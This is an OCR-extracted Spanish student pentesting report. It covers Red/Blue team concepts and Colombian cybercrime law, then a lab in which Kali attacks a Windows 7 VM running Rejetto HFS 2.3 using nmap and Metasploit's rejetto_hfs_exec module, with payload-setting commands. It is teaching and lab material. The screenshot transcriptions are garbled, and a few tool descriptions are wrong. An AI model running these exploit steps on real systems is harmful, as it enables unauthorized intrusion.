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RESUMEN

Como parte final de un proceso de Pentesting, realizado por equipos Red
Team y Blue Team se debe realizar un informe de los fallos encontrados
en la seguridad de la informacién, igualmente se deben plantear
estrategias y técnicas que permitan corregir los errores y endurecer el
esquema de seguridad para reducir los riesgos a los que se puede exponer
una empresa o entidad del estado. Posterior al analisis del informe la alta
gerencia debera tomar decisiones al respecto y replantear su visidon sobre
la seguridad de la informacion que al final es el activo mas importante
para la empresa.



GLOSARIO

Red Team: es un ejercicio, el cual consiste en simular un ataque dirigido
a una organizacion, lo que se traduce que un grupo de personas internas
o externas a la empresa, comprueban la posibilidad de tener acceso a los
sistemas, comprometerlos y el impacto que esto podria tener en el
negocio.

Blue Team: son equipos multidisciplinares compuestos por expertos en
ciberseguridad especializados en analizar el comportamiento de los
sistemas de una empresa.

Pentesting: es un conjunto de ataques simulados dirigidos a un sistema
informatico con una uUnica finalidad: detectar posibles debilidades o
vulnerabilidades para que sean corregidas y no puedan ser explotadas.

Hardening (endurecimiento informatico): consiste en el
endurecimiento del sistema, con el fin de reducir y evitar las amenazas y
los peligros de este.

Firewall: decide qué trafico de red se autoriza a pasar y cual se considera
peligroso. Basicamente, permite filtrar lo que es bueno, o de confianza,
de lo que no lo es.

CIS (Center for Internet Security): entidad sin animo de lucro
impulsada por la comunidad que proporciona mejores practicas
internacionales para proteger los sistemas y datos de TI contra las
amenazas cibernéticas.

SIEM: Es una solucion de seguridad que ayuda a las organizaciones a
reconocer posibles amenazas y vulnerabilidades de seguridad antes de
que tengan la oportunidad de interrumpir las operaciones comerciales.

METASPLOIT: Metasploit es un proyecto de cdédigo abierto para la
seguridad informatica, que proporciona informacion acerca de



vulnerabilidades de seguridad y ayuda en test de penetracién "Pentesting"
y el desarrollo de firmas para sistemas de deteccidn de intrusos.

METERPRETER: es un programa malicioso de tipo troyano que permite
a los ciberdelincuentes controlar de forma remota las computadoras
infectadas. Este malware se ejecuta en la memoria de la computadora sin
escribir nada en el disco.

PAYLOAD: es la carga que se ejecuta en una vulnerabilidad, es decir, la
carga que activamos a la hora de aprovechar dicha vulnerabilidad.

PHISHING: es un ataque que intenta robar su dinero o su identidad,
haciendo que divulgue informacion personal (como nimeros de tarjeta de
crédito, informacién bancaria o contrasenas) en sitios web que fingen ser
sitios legitimos.

NMAP: es una aplicacion multiplataforma usada para explorar redes vy
obtener informacién acerca de los servicios, sistemas operativos y
vulnerabilidades derivadas de la conjuncién de éstos.



INTRODUCCION

Debido al gran auge de las tecnologias y su masificado uso, cada dia es
mas frecuente ver noticias sobre ataques informaticos realizados por
ciberdelincuentes que se aprovechan de las vulnerabilidades que
presentan algunos sistemas, por desconocimiento o por no contar con
personal especializado en implementar estrategias y técnicas que
fortalezcan la seguridad de la informacidon en las empresas o entidades
estatales. Los equipos Red Team y Blue Team fueron creados para
detectar fallos y vulnerabilidades en ambientes simulados a los reales
para posteriormente endurecer o reforzar la seguridad para reducir los
riesgos de que se vuelvan a presentar los mismos ataques.



OBJETIVOS

1.1 OBJETIVOS GENERAL

Formular estrategias de contencién mediante el analisis de riesgos y
vulnerabilidades en una infraestructura TI.

1.2 OBJETIVOS ESPECIFICOS

- Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

- Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.

- Demostrar vulnerabilidades en un sistema informatico a partir del
uso de metodologias y técnicas de intrusion.

- Reconocer la importancia de contar con el servicio de equipos
especializados Blue Team para dar respuesta a incidentes
detectados en un proceso de Pentesting.

- Entregar informe técnico de Pentesting realizado por equipos Red
Team y Blue Team a la alta gerencia para que se tomen decisiones
con respecto a endurecer la seguridad de la informacion.



DESARROLLO DEL TRABAJO

Etapal: Conceptos equipos de seguridad

Margen legal en Colombia sobre delitos informaticos y proteccion
de datos personales

Colombia se ubica al mismo nivel de los paises miembros de la Comunidad
Econdmica Europea (CEE), los cuales ampliaron al nivel internacional los
acuerdos juridicos relacionados con la proteccion de la informacién y los
recursos informaticos de los paises, mediante el Convenio
'Cibercriminalidad’, suscrito en Budapest, Hungria, en 2001 y vigente
desde julio de 2004.1

REGULACION EN COLOMBIA
MARCO NORMATIVO

e Adopcidn y seguimiento de los lineamientos contenidos dentro del
“Convenio sobre la Ciberdelincuencia de Budapest”.

e PROYECTO DE LEY 042 DE 2.007.: primera iniciativa para regular
los temas de ciberdelincuencia en Camara de Representantes.

e PROYECTO DE LEY 123 DE 2.007.: Proponia un bien juridico para la
proteccion de la informacion.

Los dos proyectos de ley fueron puestos en conjunto, recibio el aval de la
Camara de Representantes pero no fue igual en el Senado. Estuvo a punto
de ser archivado. Después de realizar los ajustes correspondientes fue
aprobado el proyecto de ley en el Senado.

La preocupacion por los dineros de las entidades financieras dio origen a
la Ley 1273 de 2009.

' OJEDA-PEREZ, Jorge Eliécer, et al. Delitos informaticos y entorno juridico vigente en Colombia.
Cuadernos de Contabilidad, 2010, vol. 11, no 28, p. 41-66.
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PENTESTING:

Es una practica y/o metodologia realizada para descubrir vulnerabilidades
y/o fallos de seguridad en un sistema informatico, en una pagina web, en
seguridad fisica o cualquier otro entorno.?2

LAS FASES QUE COMPRENDE UN PENTESTING SON LAS
SIGUIENTES:

A. Descubrimiento y enumeracion
Es la fase donde se recopila la mayor cantidad de informacién posible
sobre el objetivo, tipos de servidores, equipos de computo, impresoras,
subdominios de una pagina web, dispositivos en los cuales se podrian
encontrar vulnerabilidades.

La informacidn se obtiene de forma ACTIVA (en contacto con el objetivo)
o PASIVA (no se requiere comunicacién directa con el objetivo).

Herramientas para recoleccién PASIVA:

e FOCA: se utiliza para encontrar metadatos e informacién oculta en
documentos de Microsoft Office, Open Office o PDF.

e NMAP: aplicacién para explorar redes y capturar datos como tipos
de servicios, sistemas operativos y sus vulnerabilidades.

B. Analisis de vulnerabilidades
En esta fase se encuentran las fallas en los sistemas o aplicaciones
basados en la informacion recopilada en la fase anterior.
Se usan diferentes herramientas, por ejemplo:

e Escaner de vulnerabilidades de red (NMAP), involucra protocolos IP
(TCP, UDP, ICMP, etc.) y busca puertos abiertos o cerrados.

2 VANEGAS ROMERO, Alfonso Yucenid. Pentesting,;, Porque es importante para las empresas?.
2019.
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e Escaner de vulnerabilidades web (Nessus, Acunetix), fallos de
seguridad en protocolos HTTP y HTTPS.
e Escaner de vulnerabilidades base de datos (Nexpose).

e Escaner de servicios habilitados (SSH, FTP).
Ciclo de vida de la gestién de vulnerabilidades.

e Discover: inventario de activos e identificacion de cada uno de los
detalles encontrados.

e Prioritize Assets: categorizar los activos y asignar valor comercial.

e Assess: determinar base de perfil de riesgo, para eliminarlos
basados en la criticidad.

e Report: medir nivel de riesgo basado en las politicas de seguridad.

e Remediate: priorizar y corregir, establecer controles.

e Verify: verificar eliminacién de amenazas mediante auditorias.

C. Explotacion

En esta fase se saca provecho de la vulnerabilidad encontrada en el punto
anterior, intentando comprometer el sistema o aplicaciones.

Herramienta utilizada:

Exploit (programa o cdédigo que aprovecha una vulnerabilidad en un
sistema o aplicacion) .

Existen 3 tipos:
e Exploit remotos (sin estar fisicamente)
e Exploit local (estando fisicamente)

e Exploit cliente (requiere accién del usuario)

METASPLOIT: plataforma de pruebas de penetracion que permite
explotar vulnerabilidades. Incluye Metasploit Framework y Metasploit Pro.
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D. Informe

Fase de documentacion con los resultados obtenidos durante las fases, se
detallan los riesgos y vulnerabilidades, incluye informe técnico para el
personal de TI y un informe gerencial estadistico.

Las metodologias mas utilizadas son:

e OSSTMM (Open-Source Security Testing Methodology Manual)
e ISSAF (Information Systems Security Assessment Framework)
e OWASP (Open Web Application Security Project)

Herramientas de Ciberseguridad

e Metasploit: plataforma de pruebas de penetracion la cual permite
encontrar, explotar y validar vulnerabilidades.

e Comandos basicos:

Help: despliega lista de comandos

Search: muestra los médulos que contiene una caracteristica.
Info: muestra detalles del médulo.

Show: muestra opciones del médulo.

Use: selecciona el moédulo especificado.

Set: configura parametros de un maédulo.

Connect: conecta con otras maquinas sabiendo IP + puerto.
Exploit: lanzar el médulo.

-j: lo lanza en segundo plano.

-Z: no interactua con la sesién.

-e: se lanza el payload con codificacién previa.

e Nmap: aplicacién utilizada para explorar redes vy capturar
informacion de servicios, puertos, sistemas operativos vy
vulnerabilidades.

Como usar nmap:

e nmap 192.168.1.1 - retorna puertos abiertos

13



Modificadores del scan:

e sT: realiza barrido de puertos por TCP.

e sU: realiza barrido de puertos por TCP.

e sA: usa mensajes de ACK para que el sistema responda.

e sX: puede filtrar algunos Firewall mal configurados y detectar
servicios.

e sN: puede filtrar algunos Firewall mal configurados y detectar
servicios.

e sF: puede filtrar algunos Firewall mal configurados y detectar
servicios.

Existen interfaces graficas para los usuarios menos experimentados o que
no les gusta utilizar la consola.

Nmapsi4
KNmap
ZenMap
Umit
Nmapfe

OpenVas (Open Vulnerability Assessment Scanner)

Framework que integra servicios y herramientas para escaneo y gestién
de vulnerabilidades.

Herramienta de cddigo abierto bajo licencia GNU.
Caracteristicas:

Escaneo simultaneo de host
Soporte SSL

Soporte WMI

Gestién de notas

Gestién de falsos positivos
Escaneos programados
Gestién de usuarios

14



Servicios en linea:
e ExploitDB

Herramienta web que almacena exploits gratuitos para utilizar de
manera educativa en pruebas de penetracion identificadas
previamente.

La base de datos Exploit es un repositorio de exploits y pruebas de
concepto en lugar de advertencias, lo que la convierte en un recurso
valioso para aquellos que necesitan datos procesables de inmediato.

e CVE (Common Vulnerabilities and Exposures), Diccionario
Publico de vulnerabilidades.

Es una serie de listas de entradas con numero de identificacion, una
descripcién y una referencia para las vulnerabilidades conocidas
publicamente.

Se ha convertido en un estdndar para los identificadores de
vulnerabilidades. Proporciona un punto de referencia para intercambio
de datos.

Para calificacién de vulnerabilidades existe el CVSS (Common
Vulnerability Scoring System), es un sistema de puntuacién. Se puede
representar como baja, media, alta, critica; con el fin de priorizar la
gestién de vulnerabilidades. La puntuacion va de 0.0 a 10.0.

Situacion problema:

La organizacion WhiteHouse Security es una organizaciéon con
reconocimiento a nivel mundial por asesorar a grandes Gobiernos en
procesos de ciberseguridad y ciberdefensa logrando posicionarse como la
organizacién mas importante en el campo de la seguridad informatica a
nivel mundial, la organizacién ha decidido que es hora de conformar
equipos de Red team y Blue team dentro de su estructura funcional para
aumentar los protocolos de seguridad al interior de esta.
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Para realizar este proceso es necesario instalar y configurar dos maquinas
virtuales por medio de VirtualBox para poder ejecutar las sesiones de
pruebas.

Se valida que exista conexidon entre las dos maquinas virtuales. Una con
Sistema Operativo Windows 7 64bits (Figura 1) y la otra con Sistema
Operativo Kali Linux (Figura 2).

Figura 1. Maquina virtual Windows 7 64bits

¥ Oracle VM VirtualBox Administrador = X
Archivo  Maquina  Ayuda
P oo
) Heramientas 3-,‘,,} w :& -
v Nueva Configuracidn Descartar  Iniciar
M General M previsualizacion

<3 GNS3VM
) Apagada Nombre: Win7-SE2020-X64
Sistema operativo:  Windows 7 (64-bit)

9™ Metasploitable3-ub1404 (| sistema

_‘ © Apagada Memoria base: 4096 MB
Orden de arranque:  Optica, Disco duro
Aceleracin: VT-x/AMD-V, Paginacién anidada, Paravirtualizacién Hyper-V

Win7-SE2020-X64

o MV_SERGIO_VICTORIA_META_37

B © Apagada M Pantalla
2 Memoria de video: 18 MB
o | Wing : B Controlador gréfico: VBOXSVGA
i O . de escritorio remoto:  Inhabilitado
n: Inhabitado

2/ Almacenamiento

@ Apagada Controlador: SATA
Puerto SATA0:  Win7-SE2020-X64-disk00L.vdi (Normal, 50,00 G8)
Puerto SATA 1:  [Unidad dptica] Vacio

ﬁ MV_SERGIO_VICTORIA_KALI_37

1 Audio

Controlador de anfitrién: Windows DirectSound
Controlador: Audio Intel HD

& Red

Adaptador 1:  Intel PRO/1000 MT Desktop (NAT)
¢ us

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 (0 activo)
7] Carpetas compartidas
Ninguno

£ Descripcién

Ninguno

Fuente: El Autor

16



Figura 2 - Maquina virtual Kali Linux

V¥ Oracle VM VirtualBox Administrador

Archivo  Méquina  Ayuda

Y

Herramientas WS
Nueva Configuracién
-
P GNS3 VM General
A © rvagaca

Nombre:
Sistema operativo;

'r Metasploitable3-ub1404 &l Sistema
i

o s Memoria base: 2048 MB
Procesadores: 2
Orden de arranque:

o4 MV_SERGIO_VICTORIA_META_37 Aceleracion:

© Apagada

M Pantalla

Memoria de video:
Controlador gréfico

Win7-SE2020-X64 Aceleracion:
@ Apagada Servidor de escritorio remoto:
Grabacién:

2] Aimacenamiento

Controlador: IDE

.

Iniciar

MV_SERGIO_VICTORIA_KALI_37
Debian (64-bit)

Disco duro, Optica
VT-x/AMD-V, Paginacién anidada, PAE/NX, Paravirtualizacién KVM

128 MB
VMSVGA
30
Inhabilitado
Inhabilitado

IDE secundario maestro:  [Unidad dptica] Vacio

Controlador: SATA
Puerto SATA 0:

)i Audio

Controlador de anfitrion
Controlador

&' Red

Kali-Linux-2021.3-vbox-amd64-disk001.vdi (Normal, 80,00 GB)

Windows DirectSound
ICH AC97

Adaptador 1: Intel PRO/1000 MT Desktop (No conectado)

Intel PRO/1000 MT Desktop (No conectado)

Adaptador 2:

[ usB

Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activo)
7] carpetas compartidas

Ninguno

& Descripcién

Kali Rolling (2021.3) x64
>m31.n0.08

Fuente: El Autor

¥ Pprevisualizacién

MV_SERGIO_VICTORIA_KALI_37

En la figura 3 se muestra la configuracidon de red de la maquina virtual
con Windows7, con direccién IP (192.168.1.6).

Figura 3 - Configuracion de red MV Windows7

Administrador: C:\Windows\system32\cmd.exe

Sufijo DNS especifico para la conexiodn.
Uinculo: direccidén IPub local. . . =
Direccién IPv4. . . . . . . . . . .
Mascara de subred . . . . . . . . .
Puerta de enlace predeterminada . .

Adaptador de Ethernet Conexidn de area

4a3:3067:492e:792dx13
192.168.1.6
255.255.255.8
192.168.1.1

=5 E=R =<

Sufijo DNS especifico para la conexidn.
Uinculo: direccidén IPub local. . . =
Direccién IPv4. . . . . . . . . . .
Mascara de subred . . - = = -

Puerta de enlace predeterminada . . . .

Adaptador de tdnel isatap.hitronhub.home:

Estado
Sufijo

de los medios. . . . . . . . . .
DNS especifico para la conexién.

hitronhub.home

4842:9ce4:4e38:7898x11
10.0.2.15
255.255.255.90
10.0.2.2

medios desconectados
hitronhub.home

Estado
Sufijo

de los medios. . . . . . . . . . . =
DNS especifico para la conexidén. . :

C:\Users\usuario>

Fuente: El Autor

Adaptador de tdnel isatap.{$BE2BD88-1112-421C-A6DC-BC22BCA1760B>:

medios

desconectados
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En la figura 4 se muestra la configuracidon de red de la maquina virtual
con Kali Linux, con direccion IP (192.168.1.7). En la red interna
configurada en el mismo segmento de red para que haya comunicacion
entre ellas y poder realizar el Pentesting.

Figura 4 - Configuracion de red MV Kali Linux

§ ‘ | r, @BV‘ EI -] kali kali™ © Zenmap

File Actions Edit View Help

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
.255.255.0 broadcast 10.0.2.255
fe43:73bc  prefixlen 64 scopeid 0x20<link>
ether 43: bc txqueuelen 1000 (Ethernet)
RX packets 768712 bytes 1151439194 (1.0 GiB)
RX errors @ dropped @ overruns @ frame @
TX packets 130642 bytes 9054632 (8.6 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 1 .1.7 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::5a32:4b0b:297c:1184 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:58:f3:df txqueuelen 1000 (Ethernet)
RX packets 4597 bytes 607056 (592.8 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 6012 bytes 518809 (506.6 KiB)
X ors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 226275 bytes 36441484 (34.7 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 226275 bytes 36441484 (34.7 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: El autor

Situacion problema: Analisis Red team

La primera mision del equipo Red team es lograr identificar por qué medio
0 proceso se esta generando una serie de fuga de informacién la cual se
presenta al interior de la organizacién en uno de sus equipos de cémputo
en la dependencia. La informacion inicial con la que cuenta el equipo es
que la maquina donde se esta generando la fuga de informacién tiene
instalada una aplicacion llamada rejetto v. 2.3 bajo un Windows 7 con
arquitectura X64; esta aplicacion al parecer tiene asociado un exploit que
puede terminar en una Shell reversa y una sesion abierta de meterpreter.
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En la figura 5. Se despliega el aplicativo Rejetto, el cual es un servidor de
archivos HTTP en el equipo objetivo con el Windows 7.

Figura 5 - Aplicacion Rejetto en ejecucion

.

&2 HFS ~ HTTP File Server 2.3 Build 288
& Menu ",? Port: 80 ‘ €& You are in Expert mode ‘
[E] Open in browser  http://192.168.1.6/prueba/

Virtual File System

n Anexo 4 - Escenario 3.pdf

10:15:18 p.m. 127.0.0.1:49312 Requested GET /prueba/

Fuente: El Autor

En la figura 6, maquina virtual con Kali Linux, se utiliza el aplicativo
Zenmap para rastrear puertos abiertos y vulnerabilidades para ser
explotadas en la siguiente fase del pentesting.
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Figura 6 - Comando Nmap para encontrar vulnerabilidades.

nmap -T4 -A-v192.168.1.6

[Tsaeee]  starting Nmap 7.91 ( ) at
Loaded 153 scripts for scanning.
[MFA Script Pre-scanning.
Initiating NSE at 22:18
Completed NSE at 22:18, 0.00s elapsed
Initiating NSE at 22:18
Completed NSE at 22:18, 0.00s elapsed
Initiating NSE at 22:18
Completed NSE at 22:18, 0.00s elapsed
Initiating Ping Scan at 22:18
Scanning [2 ports]
Completed Ping Scan at 22:18, 0.60s elapsed (1 total hosts)
Initiating P: lel DNS solution of 1 host. at 2 8
Completed Parallel DNS resolution of 1 host. at 22:18, 6.
Initiating Connect Scan at 22:18
Scanning [1000 ports]
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port
Discovered open port 49157/tcp
Discovered open port 10243/tcp
Discovered open port 49152/tcp
Discovered open port 49154/tcp
Discovered open port 49156/tcp o
Discovered open port 49153/tcp
Discovered open port 53 .1
Completed Connect Scan at 22:18, 1.77s elapsed (1000 total ports)
Initiating Service scan at 22:18
Scanning 14 services on
About 57.14% done; ETC: 22:19 (0 0 remaining)
Completed Service scan at 22:20, 111.28s elapsed (14 services on 1 host)
[ script scanning [EPIETIINNG.
Initiating NSE at 22:20
Completed NSE at 22:21, 64.43s elapsed
Initiating NSE at 22:21
Completed NSE at 2. , 7.05s elapsed
Initiating NSE at 22:21
Completed NSE at 22:21, 0.00s elapsed
Nmap scan report for
Host is up (0.00051s latency).
986_closed ports
PORT STATE SERVICE VERSION|
80/ tcp open http HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
| http-methods:
| Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
| http-title: HFS /
msrpc Microsoft Windows RP(]
netbios-ssn Microsoft Wi
microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
rtsp?|
http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http Microsoft HTTPAPI httpd 2.6 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Service Unavailable
10243 /tcp open http Microsoft HTTPAPI httpd 2.6 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPL/2.0
Filter Hosts "httn-titla: Nat Faund

Fuente: El Autor

e Al ser un aplicativo web que se ejecuta en el navegador, abre el
puerto 80 principalmente.

e No cuenta con seguridad en el protocolo HTTP.

e Se utilizd la herramienta Zenmap con los comandos nmap para
identificar los puertos abiertos, servicios o vulnerabilidades en el
equipo objetivo.

e El puerto que abre la aplicacion Rejetto es el 80.
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Figura 7 - Puerto 80 abierto por software Rejetto

;QA ‘ - I ' @E}"i E -] kali kali” © Zenmap

Scan Tools Profile Help

Target: 192.168.1.6

Command: nmap-T4-A-v192.168.1.6

Hosts  Services Nmap Output Ports /Hosts Topology HostDetails Scans

nmap -T4 -A-v192.168.1.6

HUSL 13 Up \U.UUUJL> Laicily).
g 192.168.1.6 —

LAWY JOU L LUSEU puUl L>
PORT STATE SERVICE VERSION
80/tcp pen HttpFileServer httpd 2.3
I httn fovican. ~An MRE. 750702ENNACEOC&RCS)1877D27153CB1
| http-methods:
| Supported Methods: GET HEAD POST
| _http-server-header: HFS 2.3
| http-title: HFS /
msrpc Microsoft Windows RP(|
netbios-ssn Microsoft Windows netbios-ssn|
microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Unavailabl
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
http-title: Not Found
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
Microsoft Windows
i H Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Fuente: El Autor

e Se utiliza el framework Metasploit (figura 8), el cual cuenta con una
base de datos amplia, con los scripts necesarios para ejecutar
ataques al equipo objetivo, con la intension de vulnerar las fallas
encontradas en la fase anterior.

e Con el comando search se consulta en la base de datos de
metasploit: search HttpFileServer.

e Metasploit despliega el exploit disponible para explotar Ila
vulnerabilidad.
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Figura 8 - Software Metasploit para ejecutar intrusion

‘ ‘ - = @ El"‘ Iz] ‘eqtermmal

File Actions Edit View Help

$ sudo msfdb init & msfconsole
[sudo] password for kali:
[+] Starting database
[+] Creating database user 'msf’
[+] Creating databases 'ms

( )

We have kept /usr/bin/python pointing to Python 2 for backi
compatibility. Learn how to change this and avoid this m
> https://www.kali.org/docs/general-use/python3-transition/

(Run: “touch ~/.hushlogin” to hide thi
[+] Creating databases 'msf_test’
( )

We have kept /usr/bin/python pointing to Python 2 for backwards
compatibility. Learn how to change this and avoid this message:
> https://wmi.kali.o: eneral-use/python3-transition/
(Rur u 0 hide this m )

[+] Creating configuration file '/usr/share/metasploit-framework/config/databas:
[+] Creating initial database schema

L 6.1.
21 y - 367

[
[
[ 592 payloads - 45 encod. - 10 nops
[ asion

Metasploit tip: Metasploit can be configured at startup, see
to learn more

msf6 > search HttpFileSer
atching Modules

Name Disclosure Date Rank Check Description

exploit/windows/http/rejetto_hfs_exec 2014-09-11 Yes Rejetto HEEPFIlESErVer Remote Command Execution

Interact with a module by name or index. For example

nsfe >

Fuente: El Autor

e El comando use + name permite ejecutar el exploit encontrado
para explotar la vulnerabilidad (figura 9).
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Figura 9 - Comando use para ejecutar el exploit

msf6 > search HttpFileServer

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 Yes Rejetto HttpFileServer Remote Command Execution
Interact with a module by name or index. For example
msf6 > use exploit/windows/http/rejetto_hfs_exec

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( N |

Fuente: El Autor

e El comando show options permite visualizar las opciones del
moddulo encontrado y su descripcidén para explotar la vulnerabilidad
(figura 10).

Figura 10 - Comando Show Options

se exploit/windows/http/rejetto_hfs_
o payload configured, defaulting to wir eterpreter/reverse_tcp
ploit( ) options

Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Sett Required Description

HTTPDELAY 10 no
no
yes e t h a framework/wiki/Using-Metasploit
yes
yes e s etwor! te et en on. This must be an add on the local machine or 0.0.0.0 to listen on all addr
yes
no
no ac rtif e (default is randomly generated)
yes e path of the n
no The URI to use for ti loit (default is random)
no HTTP server virtual ho:

Payload options (windows/meterpreter/

Name Current Setting Required Description

Exit technique (Accepted: '’ ead, none)
add

The list

. (an in
LPORT The listen port

Exploit target:
Id Name

@ Automatic

nsf6 exploit(

Fuente: El Autor

e El comando set RHOST 192.168.1.6 permite identificar el equipo
objetivo el cual sera victima del atague por medio de la direccién IP
(figura 11).
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Figura 11 - Comando Set RHOSTS + IP

msf6 exploit(

) > set RHOSTS 192.168.1.6

) > 1

RHOSTS = 192.168.1.6
msf6 exploit(

Fuente: El Autor

El comando show payloads msfconsole devolvera una lista de
cargas utiles compatibles para este exploit (Figura 12).

Figura 12 - Comando show payloads

' m P lil @ qterminal © Zenmap

File Actions Edit View Help

Shell No™*
RHOSTS = 192.168.1.6
exploit(

Compatible Payloads

LELE Disclosure Date Rank Check Description
payload/generic/custon normal No
payload/generic/debug_trap normal
payload/generic/shell_bind normal
shell_reverse_tcp
/tight_loop

/dllinject/bind_hidden_ipknock_tcp

Inline
rse TCP Inline

a ad/windows,
payload/window
payload/windous, normal 6 TCP Stager with UUID Support (Windows x:
payload/windows/dllinject/bind_name e normal 86 Bind Named Pipe Sta
payload/windows/dllinject/bind_ t normal Injection, Bind TCP Stager (No NX or Win7)

‘dllinject/bind_tcp Injection, Bind TCP 86)
sta
Injection, Bind TCP Sta
Injection, R Hop
Injection, Windows Re
Inj R e H

/dlinject/bind_
/d1linject/
payload/windows
payload/windows normal
payload/windows 3 normal Injection, Reverse TCP Stag
payload/windows/dllinject/reverse_nonx_tcp normal tion, Reverse TCP Stager (No NX or Win7)
oad/windows/d1linject ord_tcp normal LL Injection, Reverse Ordin: stager (No NX or Win7)
dllinject/reverse_ 1
ad/windows/d1Linj

Injection,
Inj
ad/windows/d11linject

Injection,

(Windows )
(Rc4

erse_tcp_rch_dns a 3 i Stager (RC4 Stage Encryption DNS
payload/windous, _tcp_uuid r Reflective DLL R e TCP Stager with UUID Support
payload/windows. r rmal Reflective DLL HTTP Stager (winhttp)
payload/windows/dns_txt_qu DNS TXT Record Paylo and Execution

ayload/windows/download_

Windows Executable Download (http,http:
c t

s,ftp) and Execut
Windows Ex

Windows LoadLibrary Path

r Injection), Hidden Bind Ipknock TCP
normal indow Injection), Hidden Bind TCP Stager
normal Window ve Injection), Bind IPv6 TCP Stager (Windows x8
meterpreter/bind_ipvé_tcp_uuid normal Meterpreter (R Injection), Bind IPv6 Stager with UUID Support (Windows
meterpreter/bind_named_pipe Windows Meterp; ), Windows x86 Bind Named Pipe Sta
meterpreter/bind_nonx_tcp norm 0 windows Meterpreter ion), Bind TCP Stager (
s/meterpreter/bind_tcp ri Windows Bind TCP Sta
/meterpreter/bind_tcp_rck windows (Refl tage Encry
terpreter/bind_tcp_uuid Windows (Refl ger UUID Support (Window:
payload/windows/meterpreter/reverse_hop_http indow (Refl Hop HTTP/HTTPS Stager
payload/windows/meterpreter/reverse_http normal Windows (Reflecti Windows Reverse HTTP Stager (wininet)
payload/windows proxy_pstore normal window r r n HTTP Stager Prox
payload/wind E normal Window v
ayload/windous, rse_https_prox windows
ad/windows/meterpreter/reverse_ipvé_tcp
ad/windows/meterpreter/rev
ad/windows/meterpreter/r

ption, M

_ipv6_ Windows Meterpreter
rse_named_pipe W

terpreter
r:

) Named Pipe (SMB
normal indows

Fuente: El Autor

Para usar la carga util, se debe usar el comando set seguido del
nombre de la carga (figura 13): set PAYLOAD windows/exec
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Figura 13 - comando set para ejecutar payloads

msf6 exploit( ) > set PAYLOAD windows/exec
PAYLOAD = windows/exec
msf6 exploit( ) > exploit

Msf ::OptionValidateError The following options failed to validate: CMD
Exploit completed, but no session was created.
msf6 exploit( ) > set PAYLOAD generic/custom
PAYLOAD = generic/custom
msf6 exploit( ) > exploit

Using URL: http://0.0.0.0:8080/2SpaG8vMquCsUv0O
Local IP: http://10.0.2.15:8080/2SpaG8vMquCsUv@
Server started.
Sending a malicious request to /
Server stopped.
[!] This exploit may require manual cleanup of '¥TEMP%\BAyLlcRys.vbs' on the target
Exploit completed, but no session was created.
msf6 exploit( ) > |

Fuente: El Autor

e El exploit se puede ejecutar usando dos comandos: ejecutar y
explotar. Simplemente escriba run o exploit en msfconsole y se
ejecutara el exploit.

e El ataque permite tomar el control de la maquina de manera
remota, por medio de herramientas y técnicas especializadas, se
pueden realizar muchas operaciones que dejarian a merced del
delincuente informatico toda la informacién de la victima.

LINK DE VIDEO SUSTENTACION: https://youtu.be/KthaBH1P06I
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CONCLUSIONES

Se logra identificar los delitos informaticos y proteccion de datos
personales establecidos en las normativas y leyes vigentes en
Colombia.

Se logra identificar los delitos informaticos y proteccion de datos
personales establecidos en las normativas y leyes vigentes en
Colombia.

Se reconocen cada una de las etapas del pentesting y las
herramientas cominmente utilizadas para obtener la informacion
necesaria y explotar las vulnerabilidades encontradas para cada una
de ellas.

Para cualquier entidad o empresa es vital la conservacion de su
informacidon y activos informaticos, por tal motivo es relevante
identificar las vulnerabilidades que se estan presentando y corregir
en el menor tiempo posible con la ayuda de personal especializado
como los grupos Red Team y Blue Team.

Se evallan las acciones de los equipos Red Team & Blue Team de
una organizacién en el marco de los criterios éticos y legales.

Se demuestran vulnerabilidades en un sistema informatico a partir
del uso de metodologias y técnicas de intrusion.

Se reconoce la importancia de contar con el servicio de equipos
especializados Blue Team para dar respuesta a incidentes
detectados en un proceso de Pentesting.

Se entrega informe técnico de Pentesting realizado por equipos Red

Team y Blue Team a la alta gerencia para que se tomen decisiones
con respecto a endurecer la seguridad de la informacion.
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RECOMENDACIONES

e Implementar Guia de procedimientos claros que permita minimizar
los dafios y facilitar la recuperacion de los datos afectados.

e Incluir informacion detallada sobre cada incidente de seguridad que
se presente, para estar mejor preparados en eventos futuros y
robustecer la proteccién actual.

e El aspecto legal que esta situacidn genere se debe tener en cuenta,
asi como la imagen de la organizacién.

